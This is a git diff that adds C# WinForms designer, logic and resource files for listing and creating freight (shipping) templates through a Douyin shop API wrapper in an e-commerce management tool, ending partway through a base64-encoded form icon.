System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + 17, 17 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/FreightTemplateListForm.Designer.cs b/TEMUKJD/KJDForms/ShopForms/FreightTemplateListForm.Designer.cs new file mode 100644 index 0000000..c5e2ab2 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/FreightTemplateListForm.Designer.cs @@ -0,0 +1,233 @@ + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + partial class FreightTemplateListForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvTemplate = new LittleRabbit.UserComponent.DataGridViewEx(); + this.label1 = new System.Windows.Forms.Label(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colTemplateId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colTemplateName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colProvince = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCity = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colTemplateType = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCalculateType = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colFixedAmount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvTemplate)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvTemplate); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 4, 4, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.label1); + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(800, 450); + this.splitContainer2.SplitterDistance = 420; + this.splitContainer2.TabIndex = 10; + // + // dgvProduct + // + this.dgvTemplate.AllowUserToAddRows = false; + this.dgvTemplate.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvTemplate.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvTemplate.BackgroundColor = System.Drawing.Color.White; + this.dgvTemplate.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvTemplate.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvTemplate.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvTemplate.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colTemplateId, + this.colTemplateName, + this.colProvince, + this.colCity, + this.colTemplateType, + this.colCalculateType, + this.colFixedAmount, + this.colMessage}); + this.dgvTemplate.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvTemplate.Location = new System.Drawing.Point(4, 4); + this.dgvTemplate.Name = "dgvProduct"; + this.dgvTemplate.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvTemplate.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvTemplate.RowTemplate.Height = 23; + this.dgvTemplate.Size = new System.Drawing.Size(792, 416); + this.dgvTemplate.TabIndex = 6; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.ForeColor = System.Drawing.Color.MidnightBlue; + this.label1.Location = new System.Drawing.Point(656, 2); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(43, 17); + this.label1.TabIndex = 3; + this.label1.Text = "label1"; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(800, 26); + this.statusBar.TabIndex = 2; + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 41; + // + // colTemplateId + // + this.colTemplateId.HeaderText = "模板Id"; + this.colTemplateId.Name = "colTemplateId"; + this.colTemplateId.ReadOnly = true; + this.colTemplateId.Width = 150; + // + // colTemplateName + // + this.colTemplateName.HeaderText = "模板名称"; + this.colTemplateName.Name = "colTemplateName"; + this.colTemplateName.ReadOnly = true; + this.colTemplateName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colTemplateName.Width = 250; + // + // colProvince + // + this.colProvince.HeaderText = "发货省份"; + this.colProvince.Name = "colProvince"; + this.colProvince.ReadOnly = true; + this.colProvince.Width = 80; + // + // colCity + // + this.colCity.HeaderText = "发货城市"; + this.colCity.Name = "colCity"; + this.colCity.ReadOnly = true; + this.colCity.Width = 80; + // + // colTemplateType + // + this.colTemplateType.HeaderText = "模板类型"; + this.colTemplateType.Name = "colTemplateType"; + this.colTemplateType.ReadOnly = true; + // + // colCalculateType + // + this.colCalculateType.HeaderText = "计价方式"; + this.colCalculateType.Name = "colCalculateType"; + this.colCalculateType.ReadOnly = true; + // + // colFixedAmount + // + this.colFixedAmount.HeaderText = "固定运费金额"; + this.colFixedAmount.Name = "colFixedAmount"; + this.colFixedAmount.ReadOnly = true; + this.colFixedAmount.Width = 120; + // + // colMessage + // + this.colMessage.HeaderText = "消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Width = 300; + // + // FreightTemplateListForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.splitContainer2); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "FreightTemplateListForm"; + this.Text = "FreightTemplateListForm"; + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + this.splitContainer2.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvTemplate)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvTemplate; + private System.Windows.Forms.Label label1; + public UserControls.StatusBarUserControl statusBar; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colTemplateId; + private System.Windows.Forms.DataGridViewTextBoxColumn colTemplateName; + private System.Windows.Forms.DataGridViewTextBoxColumn colProvince; + private System.Windows.Forms.DataGridViewTextBoxColumn colCity; + private System.Windows.Forms.DataGridViewTextBoxColumn colTemplateType; + private System.Windows.Forms.DataGridViewTextBoxColumn colCalculateType; + private System.Windows.Forms.DataGridViewTextBoxColumn colFixedAmount; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/FreightTemplateListForm.cs b/TEMUKJD/KJDForms/ShopForms/FreightTemplateListForm.cs new file mode 100644 index 0000000..8ce64f7 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/FreightTemplateListForm.cs @@ -0,0 +1,159 @@ +using AllBase; +using AllBase.Model.Param.OrderManage; +using AllBase.Model.Result; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.DouyinApiClass; + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + public partial class FreightTemplateListForm : Form + { + public DouShopLoginInfo Shop = null; + public List LstTemplate = new List(); + + public FreightTemplateListForm(DouShopLoginInfo shop = null) + { + InitializeComponent(); + + Shop = shop; + } + + public void GetTemplate(string text = null) + { + if (Shop != null) + { + int total = 0; + int page = 0; + this.LstTemplate.Clear(); + Invoke(new Action(() => { this.dgvTemplate.Rows.Clear(); })); + + while (true) + { + DouyinApi api = new DouyinApi(Shop); + api.JsonData["page"] = page.ToString(); + if (!string.IsNullOrEmpty(text)) + api.JsonData["name"] = text; + var result = api.GetFreightTemplateListByBuyApi(); + for (int i = 0; i < 10 && !result.Contains("\"code\":10000"); i++) + { + Thread.Sleep(100); + result = api.GetFreightTemplateListByBuyApi(); + } + total = BaseRegex.GetIntJson(ref result, "Count"); + + JObject JObj = JObject.Parse(result); + var listStr = JObj["data"]?["List"]?.ToString(); + if (!string.IsNullOrEmpty(listStr)) + { + var templateList = JsonHelper.DeserializeJsonToList(listStr); + this.LstTemplate.AddRange(templateList); + foreach (var t in templateList) + { + Invoke(new Action(() => + { + string province = t.template.product_province; + string city = t.template.product_city; + var area = FreightTemplateForm.GetAddress(t.template.product_province); + if (area != null) + { + province = area.name; + city = area.sub_districts.FirstOrDefault(a => a.code.ToString() == t.template.product_city)?.name; + } + + string ruleType = ""; + if (t.template.rule_type == 0) + ruleType = "阶梯计价"; + if (t.template.rule_type == 1) + ruleType = "固定运费"; + if (t.template.rule_type == 2) + ruleType = "卖家包邮"; + if (t.template.rule_type == 3) + ruleType = "货到付款"; + string calculateType = ""; + if (t.template.rule_type == 0 && t.template.calculate_type == 1) + calculateType = "按重量计价"; + if (t.template.rule_type == 0 && t.template.calculate_type == 2) + calculateType = "按数量计价"; + var fixedAmount = ""; + if (t.template.fixed_amount > 0) + fixedAmount = (t.template.fixed_amount / 100m).ToString(); + + if (t.template.id == 0) + this.dgvTemplate.Rows.Add(false, t.template.id, "默认模板", "全国", "", "", "", "全国包邮"); + else + this.dgvTemplate.Rows.Add(false, t.template.id, t.template.template_name, province, city, ruleType, calculateType, fixedAmount); + })); + } + } + + page++; + if (this.LstTemplate.Count >= total) + break; + } + } + } + + public void AddTemplate(List nameList, TemplateParam templateParam, List ruleList) + { + foreach (var name in nameList) + { + TemplateParam temp = JsonHelper.DeserializeJsonToObject(JsonHelper.SerializeObject(templateParam)); + temp.template_name = name; + DouyinApi api = new DouyinApi(Shop); + api.JsonData["template"] = JsonHelper.SerializeObject(temp).Replace("\\", "\\\\").Replace("\"", "\\\""); + api.JsonData["columns"] = JsonHelper.SerializeObject(ruleList).Replace("\\", "\\\\").Replace("\"", "\\\""); + var result = api.AddFreightTemplateListByBuyApi(); + for (int i = 0; i < 5 && !result.Contains("\"code\":10000"); i++) + { + Thread.Sleep(100); + result = api.AddFreightTemplateListByBuyApi(); + } + if (result.Contains("\"code\":10000")) + { + var tempId = BaseRegex.GetStringJson(ref result, "template_id"); + Invoke(new Action(() => + { + string province = temp.product_province.ToString(); + string city = temp.product_city.ToString(); + var area = FreightTemplateForm.GetAddress(temp.product_province.ToString()); + if (area != null) + { + province = area.name; + city = area.sub_districts.FirstOrDefault(a => a.code.ToString() == temp.product_city.ToString())?.name; + } + + string ruleType = ""; + if (temp.rule_type == 0) + ruleType = "阶梯计价"; + if (temp.rule_type == 1) + ruleType = "固定运费"; + if (temp.rule_type == 2) + ruleType = "卖家包邮"; + if (temp.rule_type == 3) + ruleType = "货到付款"; + string calculateType = ""; + if (temp.rule_type == 0 && temp.calculate_type == 1) + calculateType = "按重量计价"; + if (temp.rule_type == 0 && temp.calculate_type == 2) + calculateType = "按数量计价"; + var fixedAmount = ""; + if (temp.fixed_amount > 0) + fixedAmount = (temp.fixed_amount / 100m).ToString(); + + this.dgvTemplate.Rows.Add(false, tempId, temp.template_name, province, city, ruleType, calculateType, fixedAmount, "添加成功"); + })); + } + } + } + } +} diff --git a/TEMUKJD/KJDForms/ShopForms/FreightTemplateListForm.resx b/TEMUKJD/KJDForms/ShopForms/FreightTemplateListForm.resx new file mode 100644 index 0000000..12aebe5 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/FreightTemplateListForm.resx @@ -0,0 +1,147 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/FreightTemplateNameForm.Designer.cs b/TEMUKJD/KJDForms/ShopForms/FreightTemplateNameForm.Designer.cs new file mode 100644 index 0000000..29b1611 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/FreightTemplateNameForm.Designer.cs @@ -0,0 +1,135 @@ + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + partial class FreightTemplateNameForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FreightTemplateNameForm)); + this.panel2 = new System.Windows.Forms.Panel(); + this.labelX1 = new DevComponents.DotNetBar.LabelX(); + this.textBoxX1 = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.btnSave = new DevComponents.DotNetBar.PanelEx(); + this.panel2.SuspendLayout(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.Controls.Add(this.labelX1); + this.panel2.Controls.Add(this.textBoxX1); + this.panel2.Controls.Add(this.btnSave); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(1, 33); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(383, 416); + this.panel2.TabIndex = 2; + // + // labelX1 + // + this.labelX1.AutoSize = true; + // + // + // + this.labelX1.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX1.ForeColor = System.Drawing.Color.Gray; + this.labelX1.Location = new System.Drawing.Point(16, 11); + this.labelX1.Name = "labelX1"; + this.labelX1.Size = new System.Drawing.Size(229, 18); + this.labelX1.TabIndex = 462; + this.labelX1.Text = "请输入自定义运费模板名称,一行一个:"; + // + // textBoxX1 + // + this.textBoxX1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.textBoxX1.Border.Class = "TextBoxBorder"; + this.textBoxX1.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.textBoxX1.Location = new System.Drawing.Point(16, 35); + this.textBoxX1.Multiline = true; + this.textBoxX1.Name = "textBoxX1"; + this.textBoxX1.PreventEnterBeep = true; + this.textBoxX1.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.textBoxX1.Size = new System.Drawing.Size(351, 338); + this.textBoxX1.TabIndex = 461; + // + // btnSave + // + this.btnSave.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.btnSave.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSave.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSave.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSave.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSave.Location = new System.Drawing.Point(309, 379); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(58, 23); + this.btnSave.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSave.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSave.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSave.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSave.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSave.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSave.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSave.Style.GradientAngle = 90; + this.btnSave.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSave.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSave.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSave.TabIndex = 460; + this.btnSave.Text = "保存"; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // FreightTemplateNameForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(385, 450); + this.Controls.Add(this.panel2); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "FreightTemplateNameForm"; + this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide; + this.Text = "自定义运费模板名称"; + this.TitleText = "自定义运费模板名称"; + this.Load += new System.EventHandler(this.FreightTemplateNameForm_Load); + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private DevComponents.DotNetBar.LabelX labelX1; + private DevComponents.DotNetBar.Controls.TextBoxX textBoxX1; + private DevComponents.DotNetBar.PanelEx btnSave; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/FreightTemplateNameForm.cs b/TEMUKJD/KJDForms/ShopForms/FreightTemplateNameForm.cs new file mode 100644 index 0000000..b22abf6 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/FreightTemplateNameForm.cs @@ -0,0 +1,32 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + public partial class FreightTemplateNameForm : BaseForms.LRBaseForm + { + public FreightTemplateNameForm() + { + InitializeComponent(); + } + + private void FreightTemplateNameForm_Load(object sender, EventArgs e) + { + this.textBoxX1.Text = string.Join("\r\n", FreightTemplateForm.CustomFreightTemplateNames) + "\r\n"; + } + + private void btnSave_Click(object sender, EventArgs e) + { + FreightTemplateForm.CustomFreightTemplateNames = this.textBoxX1.Text.Trim().Split(new string[] { "\r", "\n" }, StringSplitOptions.RemoveEmptyEntries).ToList(); + NaiBa.Util.Helper.ConfigHelper.SaveConfig>("freight_template_custom_names", FreightTemplateForm.CustomFreightTemplateNames); + this.Close(); + } + } +} diff --git a/TEMUKJD/KJDForms/ShopForms/FreightTemplateNameForm.resx b/TEMUKJD/KJDForms/ShopForms/FreightTemplateNameForm.resx new file mode 100644 index 0000000..450d02b --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/FreightTemplateNameForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQcwAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMd3d3d3d3d3 + d3d3fMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMd3d3iIiIiI + iIiIiIiIiIh3d3d8zMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMx3eIiIiI + iIiIiIiIiIiIiIiIiIiIiHd8zMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMd4iI + iIiIiIiIiIiIiIiIiIiIiIiIiIiIiHfMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzH + eIiIiIiIiIiHZmZmZmZmZmZmZ3eIiIiIiIiIiHzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzHiIiIiIiHZmZmZmZmZmZmZmZmZmZmZmZmeIiIiIiIfMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzHiIiIiIdmZmZmZgAAAAAAAAAAAAZmZmZmZmZmeIiIiIh8zMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzHiIiIiHZmZgAAAAAAAAAAAAEAAAAAAAAAAGZmZmZniIiIiHzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMeIiIiGZmAAAAAAERERmZmZmZmZmZkRERERAAAGZmZmZ4iIiIfMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMeIiIiGZgAAAAERmZmZmZmZmZmZmZmZmZmZmZkREAAGZmZniIiIfMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzIiIiHYAAAARGZmZiIiIj///////+IiIiIeZmZmZkREAZmZmiIiIfMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzO6IiIYAAAARmYiI/////////////////////4iHmZmZEQBmZmeI + iIh8zMzMzMzMzMzGAAAABMzMzMzMzMzMzMeIiIdgAAAZmI////////////////////////////iJmZmR + EGZmZ4iIh8zMzMzMzMzMzEAAAAbMzMzMzMzMzMzoiIhwAAAZeP////////////////////////////// + /4iZmZEAZmZ4iIh8zMzMzMzMzMxgAABMzMzMzMzMzMzOiIiGAAABiP////////////////////////// + ////////+JmZkQZmZ4iIh8zMzMzMzMzMxAAAbMzMzMzMzMzM7oiIYAABeP////////////////////// + ///////////////4mZkQZmZ4iIjMzMzMzMzMzMYAAMzMzMzMzMzMzu6IhwAAGP////////////////// + /////////////////////4iZmRZmZ4iIfMzMzMzMzMzMAAbMzMzMzMzMzM7oiHAAB4////////////// + ////////////////////////////iZmRBmZ4iIfMzMzMzMzMzGAGzMzMzMzMzMzuiIcAAHj///////// + //////////////////////////////////iZmRZmZ4iIzMzMzMzMzMxgDMzMzMzMzMzM7ohwAAf///// + ////////////////////////////////////////95mRZmaIiHzMzMzMzMzMwEzMzMzMzMzMzuiIEABo + //////////////////////////////////////////////95mRZmaIiMzMzMzMzMzMRszMzMzMzMzM7o + hwAGj///////////////////////////////////////////////95kQZmeIh8zMzMzMzMzGbMzMzMzM + zMzu6HEAB/////////////////////////////////////////////////+ZkQZmiIjMzMzMzMzMxmzM + zMzMzMzM7ohwAGj/////////////////////////////////////////////////iZkWZniIfMzMzMzM + zMZszMzMzMzMxu6HEAbv/4iI/////////////////////////////////////////4iP//iZEGZoiHzM + zMzMzMzGbMzMzMzMzM7uhxAGj/iIiIj//////////////////////////////////////4iIiI//mZFm + aIiMzMzMzMzMxszMzMzMzMzO6IEAbv+IiIiIj/////////////////////////////////////iIiIiP + /4mRBmeIh8zMzMzMzMbMzMzMzMzMbuhxAG7/iIiIiI////////////////iIj///j//////////////4 + iIiIiP/5mQZmiIfMzMzMzMzMzMzMzMzMzO7ocQDo+IiIiIiP///////////////u7u7u7u7o//////// + ////iIiIiIj/+JkWZoiHzMzMzMzMzMzMzMzMzMzu6BEG7/iIiIiIj/////////////+Hd3ju5maO7v// + /////////4iIiIiI//iZEGaIh8zMzMzMzMzMzMzMzMzM7ugRBu//iIiIiI//////////////kZmZdmAZ + mP/////////////4iIiIiP//mRBmeIjMzMzMzMzMzMzMzMzMzO7nEAbv/4iIiIiP////////////+HiI + mZEBd5n/////////////+IiIiIj//4mQZniIzMzMzMzMzMzMzMzMzMzu5xAO7//4iIiI//ju7o////// + //j//4mZeP/4//////////////iIiIiP//+JkGZ4iHzMzMzMzMzMzMzMzMzG7ocQDu///4iI//ju7u7u + j//////////4mP//////////////7u7uiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzu6HEG7v//////+G + ZmZ47u7//////////4//////////////7u7u7u6P/////4mQBmiIfMzMzMzMzMzMzMzMzM7uhRBu7/// + ///3AAAAF37u7///////////////////////h2AABm7u7v/////5kAZ4iHzMzMzMzMzMzMzMzMzO7oUQ + bu//////gQAAZgEG7u//////////////////////+BAAAAAFfu6P////+ZAGeIjMzMzMzMzMzMzMzMzM + zu6FEG7v////+JEAAXhwAG7o/////////////////////4gAABEGARbu7/////kQBoiIzMzMzMzMzMzM + zMzMzM7uhRBu7/////iZABmZkQBm6P////////////////////+JABGZF2AAbo////+JEGaIiMzMzMzM + zMzMzMzMzMzO7ucRbu/////4mRZ4iZkQBu//////////////////////mQB5mZdgAG7/////iRBmiIfM + zMzMzMzMzMzMzMzMxu7nEQ7v////+Bl+j/iZEAaP/////////////////////5l2/4mRAABu/////4kQ + ZoiHzMzMzMzMzMzMzMzMzMzu5xEO6P//+Phgbu/4kQAI//////////////////////+Zfo/4kQAAeIiP + 